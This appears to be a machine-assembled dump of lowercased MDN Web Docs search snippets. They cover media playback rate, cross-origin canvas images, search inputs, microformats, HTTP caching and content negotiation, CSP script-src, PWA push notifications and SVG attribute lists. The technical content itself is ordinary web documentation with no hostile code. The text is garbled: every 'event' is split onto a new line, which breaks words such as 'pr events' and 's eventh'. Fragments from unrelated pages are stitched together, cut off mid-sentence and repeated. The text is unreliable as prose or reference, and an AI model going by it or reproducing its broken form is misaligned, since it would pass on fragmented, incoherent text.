eventlistener('input',function(){ c.innerhtml = p.value; v.playbackrate = p.value; },false); }; finally, we listen for the input
event firing on the <input> element, allowing us to react to the playback rate control being changed. note: try out this example live, and try adjusting the playback rate control to see the effect. defaultplaybackrate and ratechange in addition to playbackrate, we also have a defaultplaybackrate property available, which lets us set the default playback rate: the playback rate to which the media r...
...d. note: try out this example live, and try adjusting the playback rate control to see the effect. defaultplaybackrate and ratechange in addition to playbackrate, we also have a defaultplaybackrate property available, which lets us set the default playback rate: the playback rate to which the media resets; for example, if we change the source of the video, or (in some browsers) when an ended
event is generated. so defaultplaybackrate allows us to set the playback rate before playing the media, while playbackrate allows us to change it during media playback. there is also an
event available called ratechange, which fires every time the playbackrate changes. browser support chrome 20+ ✔ firefox 20+ ✔ ie 9+ ✔ safari 6+ ✔ opera 15+ ✔ mobile chrome (android) ✖ mobile...
... most browsers stop playing audio outside playbackrate bounds of 0.5 and 4, leaving the video playing silently. for most applications, it's recommended that you limit the range to between 0.5 and 4. the pitch of the audio track does not change when playbackrate is altered. negative values will not cause the media to play in reverse. ie9+ switches to the default playback rate when an ended
event is fired. firefox generates a ratechange
event when the media source is substituted. on ios 7 you can only affect the playbackrate when the media is paused (not while it's playing). see also hyperaudio's playback rate test htmlmediaelement reference ...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
trying to download the image data. starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.add
eventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere. to begin downloading the image, we create a new htmlimageelement object by using the image() constructor. the image is then configured to allow cross-origin downloading by setting its crossorigin attribute to "anonymous" (that is, allow ...
... imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere. to begin downloading the image, we create a new htmlimageelement object by using the image() constructor. the image is then configured to allow cross-origin downloading by setting its crossorigin attribute to "anonymous" (that is, allow non-authenticated downloading of the image cross-origin). an
event listener is added for the load
event being fired on the image element, which means the image data has been received. finally, the image's src attribute is set to the url of the image to download; this triggers the download to begin. receiving and saving the image the code that handles the newly-downloaded image is found in the imagereceived() method: function imagereceived() { let canvas = ...
...it begins by creating a new <canvas> element that we'll use to convert the image into a data url, and by getting access to the canvas's 2d drawing context (canvasrenderingcontext2d) in the variable context. the canvas's size is adjusted to match the received image, then ...
...nloadedimg.width; canvas.height = downloadedimg.height; context.drawimage(downloadedimg, 0, 0); imagebox.appendchild(canvas); try { localstorage.setitem("saved-image-example", canvas.todataurl("image/png")); } catch(err) { console.log("error: " + err); } } imagereceived() is called to handle the "load"
event on the htmlimageelement that receives the downloaded image. this
event is triggered once the downloaded data is all available. it begins by creating a new <canvas> element that we'll use to convert the image into a data url, and by getting access to the canvas's 2d drawing context (canvasrenderingcontext2d) in the variable context. the canvas's size is adjusted to match the received image, then the image is drawn into the canvas using drawimage(). the canvas is the...
<input type="search"> - HTML: Hypertext Markup Language
ly identical to text inputs, but may be styled differently by the user agent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the value contained in the search field.
events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. idl attributes value methods select(), setrangetext(), setselectionrange(). value the value attribute contains a domstring representing the value contained in the search field. you can retrieve this using the htmlinputelement.
...e. spellcheck non-standard attributes the following non-standard attributes are available to search input fields. as a general rule, you should avoid using them unless it can't be helped. attribute description autocorrect whether or not to allow autocorrect while editing this input field. safari only. incremental whether or not to send repeated search
events to allow updating live search results while the user is still editing the value of the field. webkit and blink only (safari, chrome, opera, etc.). mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. firefox for a...
...ll as processing of text substitutions if any are configured. off disable automatic correction and text substitutions. incremental the boolean attribute incremental is a webkit and blink extension (so supported by safari, opera, chrome, etc.) which, if present, tells the user agent to process the input as a live search. ...
...so supported by safari, opera, chrome, etc.) which, if present, tells the user agent to process the input as a live search. as the user edits the value of the field, the user agent sends search
events to the htmlinputelement object representing the search box. this allows your code to update the search results in real time as the user edits the search. if incremental is not specified, the search
event is only sent when the user explicitly initiates a search (such as by pressing the enter or return key while editing the field). the search
event is rate-limited so that it is not sent more more frequently than an implementation-defined interval. mozactionhint a mozilla extension, supported by firefox for android, which provides a hint as to what sort of action will be taken if the user pres...
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
whatever ... </p> <h2><a name="z5">second section heading</a></h1><p> ... whatever ... </p> <h2><a name="z14">newly in...
...ewly inserted third section heading</a></h1><p> ... whatever ... </p> <h2><a name="z15">newly inserted fourth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z6">original third (now fifth) section heading</a></h1><p> ... whatever ... </p> <h2><a name="z7">original fourth (now sixth) section heading</a></h1><p> ... whatever ... </p> <h2><a name="z16">s
eventh section heading</a></h1><p> ... whatever ... </p> <h2><a name="z17">eighth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z18">ninth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z19">tenth section heading</a></h1><p> ... whatever ... </p> </body> </html> they then forward a copy of this document to someone with a next editor, and th...
...</head> <body> <a name="z0" href="#z4">first section heading</a> <a name="z1" href="#z5">second section heading</a> <a name="z8" href="#z14">newly inserted third section heading</a> <a name="z9" href="#z15">newly inserted fourth section heading</a> <a name="z2" href="#z6">original third (now fifth) section heading</a> <a name="z10" href="#z16">s
eventh (now sixth) section heading</a> <a name="z11" href="#z17">eighth (now s
eventh) section heading</a> <a name="z12" href="#z18">ninth (now eighth) section heading</a> <a name="z20" href="#z25">new ninth section heading</a> <a name="z21" href="#z26">new tenth section heading</a> <a name="z22" href="#z27">new el
eventh section heading</a> <a name="e23" h...
... <h2><a name="z5">second section heading</a></h1><p> ... whatever ... </p> <h2><a name="z14">newly inserted third section heading</a></h1><p> ... whatever ... </p> <h2><a name="z15">newly inserted fourth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z6">original third (now fifth) section heading</a></h1><p> ... whatever ... </p> <h2><a name="z16">s
eventh (now sixth) section heading</a></h1><p> ... whatever ... </p> <h2><a name="z17">eighth (now s
eventh) section heading</a></h1><p> ... whatever ... </p> <h2><a name="z18">ninth (now eighth) section heading</a></h1><p> ... whatever ... </p> <h2><a name="z25">new ninth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z26">new tenth section heading</a></h...
<p>: The Paragraph element - HTML: Hypertext Markup Language
. ...
...austrophobic and hard to read.</p> <p>how hard to read? see for yourself: <button data-toggle-text="oh no! ...
...screen-readers and other assistive technology provide shortcuts to let their users skip to the next or previous paragraph, letting them...
...xt-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: " ¶ "; } javascript document.queryselector('button').add
eventlistener('click', function (
event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext =
event.target.dataset.toggletext; var oldtext =
event.target.innertext;
event.target.innertext = newbuttontext;
event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into paragraphs helps make a page more accessible. screen-readers and other assistive technology provide shortcuts to let their users skip to the next or previous paragraph, letting them skim content like how white space lets visual us...
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abbreviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools. these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations,
events, and locations. microformats use supporting vocabularies to describe objects and name-value pairs to assign values to their properties. the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes. microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approac...
...mmary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> </div> properties property description p-name name of the feed p-author author of the feed, optionally embed an h-card children nested h-entry objects representing the items of the feed h-
event the h-
event is for
events on the web. h-
event is often used with both
event listings and individual
event pages <div class="h-
event"> <h1 class="p-name">microformats meetup</h1> <p>from <time class="dt-start" datetime="2013-06-30 12:00">30<sup>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</...
...ats meetup</h1> <p>from <time class="dt-start" datetime="2013-06-30 12:00">30<sup>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</span></p> <p class="p-summary">get together and discuss all things microformats-related.</p> </div> properties property description p-name
event name (or title) p-summary short summary of the
event dt-start datetime the
event starts dt-end datetime the
event ends p-location where the
event takes place, optionally embedded h-card parsed h-
event example <div class="h-
event"> <h2 class="p-name">indieweb summit</h2> <time class="dt-start" datetime="2019-06-29t09:00:00-07:00">june 29...
...span> </div> <data class="p-latitude" value="45.52345"></data> <data class="p-longitude" value="-122.682677"></data> </div> <div class="e-content">come join us </div> <div> <span class="p-author h-card"><a class="u-url p-name" href="https://aaronparecki.com">aaron parecki</a></span> published this <a href="https://aaronparecki.com/2019/06/29/1/" class="u-url">
event </a>on <time class="dt published" datetime="2019-05-25t18:00:00-07:00">may 5th, 2019</time> </div> </div> { "items": [ { "type": [ "h-
event" ], "properties": { "name": [ "indieweb summit" ], "url": [ "https://aaronparecki.com/2019/06/29/1/" ], "author": [ { "type": [ "h-card" ], "properties": { "name":...
Content negotiation - HTTP
eader in opposition to the previous accept-* headers which are sent by the client, the vary http header is sent by the web server in its response. it indicates the list of headers used by the server during the server-driven content negotiation phase. the header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while pr
eventing serving erroneous content to the user. the special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content. the vary header was added in the version 1.1 of http and is necessary in order to allow caches to work appropriately. a cache, in order to work with server-driven content negotiation, needs to know w...
...ion 1.1 of http and is necessary in order to allow caches to work appropriately. a cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. that way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. obviously, the wildcard '*' pr
events caching from occurring, as the cache cannot know what element is behind it. agent-driven negotiation server-driven negotiation suffers from a few downsides: it doesn't scale well. there is one header per feature used in the negotiation. if you want to use screen size, resolution or other dimensions, a new http header must be created. sending of the headers must be done on every request. this i...
...at element is behind it. agent-driven negotiation server-driven negotiation suffers from a few downsides: it doesn't scale well. there is one header per feature used in the negotiation. if you want to use screen size, resolution or other dimensions, a new http header must be created. sending of the headers must be done on every request. this is not too problematic with few headers, but with the
eventual multiplications of them, the message size would lead to a decrease in performance. the more precise headers are sent, the more entropy is sent, allowing for more http fingerprinting and corresponding privacy concern. from the beginnings of http, the protocol allowed another negotiation type: agent-driven negotiation or reactive negotiation. in this negotiation, when facing an ambiguous reques...
...tion type: agent-driven negotiation or reactive negotiation. in this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. the user is presented the resources and choose the one to use. unfortunately, the http standard does not specify the format of the page allowing to choose between the available resource, which pr
events to easily automatize the process. besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script performs the redirection. a second problem is that one more request is needed in order to fetch the real resource, slowing the availability of...
Cache-Control - HTTP
has public, max-age or s-maxage in cache-control or has expires set public the response may be stored by any cache, even if the response is normally non-cacheable. private the response may be stored only by a browser's cache, even if the response is normally non-cacheable. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in pr
eventing caches from storing your response. no-cache the response may be stored by any cache, even if the response is normally non-cacheable. however, the stored response must always go through validation with the origin server first before using it, therefore, you cannot use no-cache in-conjunction with immutable. if you mean to not store the response in any cache, use no-store instead. this directi...
...our response. no-cache the response may be stored by any cache, even if the response is normally non-cacheable. however, the stored response must always go through validation with the origin server first before using it, therefore, you cannot use no-cache in-conjunction with immutable. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in pr
eventing caches from storing your response. no-store the response may not be stored in any cache. although other directives may be set, this alone is the only directive you need in pr
eventing cached responses on modern browsers. max-age=0 is already implied. setting must-revalidate does not make sense because in order to go through revalidation you need the response to be stored in a cache, which no-...
... expiration max-age=<seconds> the maximum amount of time a resource is considered fresh. unlike expires, this directive is relative to the time of the request. ...
...g images to minimize data for a cache store or slow connection. only-if-cached set by the client to indicate "do not use the network" for the response. the cache should either respond using a stored response, or respond with a 504 status code. conditional headers such as if-none-match should not be set. there is no effect if only-if-cached is set by a server as part of a response. examples pr
eventing caching to disable caching of a resource, you can send the following response header: good: cache-control: no-store bad: cache-control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 caching static assets for the files in the application that will not change, you can usually add aggressive caching by sending the response header below. this includ...
CSP: script-src - HTTP
csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
...me and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline
event handlers. if you only need to allow inline
event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline
event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set;...
...ignored. see script-src for an example. 'report-sample' requires a sample of the violating code to be included in the violation report. examples violation case given this csp header: content-security-policy: script-src https://example.com/ the following script is blocked and won't be loaded or executed: <script src="https://not-example.com/js/library.js"></script> note that inline
event handlers are blocked as well: <button id="btn" onclick="dosomething()"> you should replace them with add
eventlistener calls: document.getelementbyid("btn").add
eventlistener('click', dosomething); unsafe inline script note: disallowing inline styles and inline scripts is one of the biggest security wins csp provides. however, if you absolutely have to use it, there are a few mechanisms that ...
...ck="dosomething()"> you should replace them with add
eventlistener calls: document.getelementbyid("btn").add
eventlistener('click', dosomething); unsafe inline script note: disallowing inline styles and inline scripts is one of the biggest security wins csp provides. however, if you absolutely have to use it, there are a few mechanisms that will allow them. to allow inline scripts and inline
event handlers, 'unsafe-inline', a nonce-source or a hash-source that matches the inline block can be specified. content-security-policy: script-src 'unsafe-inline'; the above content security policy will allow inline <script> elements <script> var inline = 1; </script> you can use a nonce-source to only allow specific inline script blocks: content-security-policy: script-src 'nonce-2726c7f26c'...
An overview of HTTP - HTTP
x the origin constraint, by contrast, has only been added in the 2010s. here is a list of common features controllable with http. caching how documents are cached can be controlled by http. the server can instruct proxies and clients, about what to cache and for how long. the client can instruct intermediate cache proxies to ignore the stored document. relaxing the origin constraint to pr
event snooping and other privacy invasions, web browsers enforce strict separation between web sites. only pages from the same origin can access all the information of a web page. though such constraint is a burden to the server, http headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even be ...
...ption of the status code. http headers, like those for requests. optionally, a body containing the fetched resource. apis based on http the most commonly used api based on http is the xmlhttprequest api, which can be used to exchange data between a user agent and a server. the modern fetch api provides the same features with a more powerful and flexible feature set. ...
...quests. optionally, a body containing the fetched resource. apis based on http the most commonly used api based on http is the xmlhttprequest api, which can be used to exchange data between a user agent and a server. the modern fetch api provides the same features with a more powerful and flexible feature set. another api, server-sent
events, is a one-way service that allows a server to send
events to the client, using http as a transport mechanism. ...
...ased on http the most commonly used api based on http is the xmlhttprequest api, which can be used to exchange data between a user agent and a server. the modern fetch api provides the same features with a more powerful and flexible feature set. another api, server-sent
events, is a one-way service that allows a server to send
events to the client, using http as a transport mechanism. using the
eventsource interface, the client opens a connection and establishes
event handlers. the client browser automatically converts the messages that arrive on the http stream into appropriate
event objects, delivering them to the
event handlers that have been registered for the
events' type if known, or to the onmessage
event handler if no type-specific
event handler was established. conclusion http is a...
Promise - JavaScript
this lets asynchronous methods return values like synchronous methods: instead of immediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future. a promise is in one of these states: pending: initial state, neither fulfilled nor rejected. ...
...this lets asynchronous methods return values like synchronous methods: instead of immediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future. a promise is in one of these states: pending: initial state, neither fulfilled nor rejected. ...
...solved. if it rejects, it is rejected with the reason from the first promise that was rejected. promise.reject(reason) returns a new promise object that is rejected with the given reason. promise.resolve(value) returns a new promise object that is resolved with the given value. if the value is a thenable (i.e. has a then method), the returned promise will "follow" that thenable, adopting its
eventual state; otherwise the returned promise will be fulfilled with the value. generally, if you don't know if a value is a promise or not, promise.resolve(value) it instead and work with the return value as a promise. instance methods promise.prototype.catch() appends a rejection handler callback to the promise, and returns a new promise resolving to the return value of the callback if it is ...
...(you need a browser that supports promise. ) by clicking the button several times in a short amount of time, you'll even see the different promises bei...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
y useful when combined with them. let’s look at them in isolation to begin with. request permission to show a notification, we have to request permission to do so first. instead of showing the notification immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.add
eventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); this shows a popup using the operating system’s own notifications service: when the user confirms to receive notifications, the app can then show them. the result of the user action can be default, granted or d...
...private keys for security reasons — allowing everyone to send push messages unsecured using your app would be a terrible idea. see the web push data encryption test page for detailed information about securing the server. the server stores all the information received when the user subscribed, so the messages can be sent later on when needed. to receive push messages, we can listen to the push
event in the service worker file: self.add
eventlistener('push', function(e) { /* ... */ }); the data can be retrieved and then shown as a notification to the user immediately. this, for example, can be used to remind the user about something, or let them know about new content being available in the app. push example push needs the server part to work, so we're not able to include it in the js13kpw...
...{ uservisibleonly: true, applicationserverkey: convertedvapidkey }); now let's move to the subscription part — the app first sends the subscription details as json to the server using fetch. ...
...ttl: req.body.ttl }; settimeout(function() { webpush.sendnotification(subscription, payload, options) .then(function() { res.sendstatus(201); }) .catch(function(error) { console.log(error); res.sendstatus(500); }); }, req.body.delay * 1000); }); }; service-worker.js the last file we will look at is the service worker: self.add
eventlistener('push', function(
event) { const payload =
event.data ?
event.data.text() : 'no payload';
event.waituntil( self.registration.shownotification('serviceworker cookbook', { body: payload, }) ); }); all it does is add a listener for the push
event, create the payload variable consisting of the text taken from the data (or create a string to use if data ...
Structural overview of progressive web apps - Progressive web apps (PWAs)
sters a service worker: if ("serviceworker" in navigator) { navigator.serviceworker.register("/pwa-examples/js13kpwa/sw.js"); } after that, the app adds a handler for clicks on a button whose id is notifications; this handler requests permission to send notifications to the user, then generates and sends a random notification. ...
...a/icons/icon-256.png', '/pwa-examples/js13kpwa/icons/icon-512.png' ]; var gamesimages = []; for(var i=0; i<games.length; i++) { gamesimages.push('data/img/'+games[i].slug+'.jpg'); } var contenttocache = appshellfiles.concat(gamesimages); with the file list prepared, it's time to install the service worker itself. the service worker will actually handle caching all the listed files. ...
...r will actually handle caching all the listed files. ...
...ches.open(cachename).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); with that done, we implement the service worker's fetch
event handler; its job is to return the contents of the specified file, either from the cache or by loading it over the network (caching it upon doing so): self.add
eventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.url); cache.put(e.request...
SVG Attribute reference - SVG: Scalable Vector Graphics
rker-mid marker-start markerheight markerunits markerwidth mask maskcontentunits maskunits mathematical max media method min mode n name numoctaves o offset opacity operator order orient orientation origin overflow overline-position overline-thickness p panose-1 paint-order path pathlength patterncontentunits patterntransform patternunits ping pointer-
events points pointsatx pointsaty pointsatz preservealpha preserveaspectratio primitiveunits r r radius referrerpolicy refx refy rel rendering-intent repeatcount repeatdur requiredextensions requiredfeatures restart result rotate rx ry s scale seed shape-rendering slope spacing specularconstant specularexponent speed spreadmethod startoffset stddeviation stemh...
...on, display, dominant-baseline, enable-background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-
events, shape-rendering, stop-color, stop-opacity, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, text-decoration, text-rendering, transform, transform-origin, unicode-bidi, vector-effect, visibility, word-spacing, writing-mode filters attributes filter primitive attributes height, result, width, x, y trans...
..., intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by, autoreverse, accelerate, decelerate animation addition attributes additive, accumulate
event attributes animation
event attributes onbegin, onend, onrepeat document
event attributes onabort, onerror, onresize, onscroll, onunload global
event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfo...
...ydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting graphical
event attributes onactivate, onfocusin, onfocusout ...
<circle> - SVG: Scalable Vector Graphics
nits. value type: <number> ; default value: none; animatable: yes note: starting with svg2, cx, cy, and r are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...r> ; default value: none; animatable: yes note: starting with svg2, cx, cy, and r are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...imatable: yes note: starting with svg2, cx, cy, and r are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<ellipse> - SVG: Scalable Vector Graphics
s. value type: <number> ; default value: none; animatable: yes note: starting with svg2 cx, cy, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...; default value: none; animatable: yes note: starting with svg2 cx, cy, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...table: yes note: starting with svg2 cx, cy, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<line> - SVG: Scalable Vector Graphics
ending point. value type: <length>|<percentage>|<number> ; default value: 0; animatable: yes pathlength defines the total path length in user units. ...
...: <length>|<percentage>|<number> ; default value: 0; animatable: yes pathlength defines the total path length in user units. ...
...ber> ; default value: 0; animatable: yes pathlength defines the total path length in user units. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<linearGradient> - SVG: Scalable Vector Graphics
e vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 0%; animatable: yes y2 this attribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn. ...
...hich the linear gradient is drawn. value type: <length> ; default value: 0%; animatable: yes y2 this attribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn. ...
... value type: <length> ; default value: 0%; animatable: yes y2 this attribute defines the y coordinate of the ending point of the vector gradient along which the linear gradient is drawn. ...
...length> ; default value: 0%; animatable: yes global attributes core attributes most notably: id styling attributes class, style
event attributes global
event attributes, document element
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop>...
<path> - SVG: Scalable Vector Graphics
alue type: <string> ; default value: ''; animatable: yes pathlength this attribute lets authors specify the total length for the path, in user units. ...
...ault value: ''; animatable: yes pathlength this attribute lets authors specify the total length for the path, in user units. ...
...yes pathlength this attribute lets authors specify the total length for the path, in user units. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<polygon> - SVG: Scalable Vector Graphics
gon. value type: <number>+ ; default value: ""; animatable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...>+ ; default value: ""; animatable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...atable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<polyline> - SVG: Scalable Vector Graphics
line value type: <number>+ ; default value: ""; animatable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...>+ ; default value: ""; animatable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...atable: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<radialGradient> - SVG: Scalable Vector Graphics
if it starts or ends inside the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. ...
...ide the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. ...
...ing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. ...
...<iri> ; default value: none; animatable: yes global attributes core attributes most notably: id styling attributes class, style
event attributes global
event attributes, document element
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
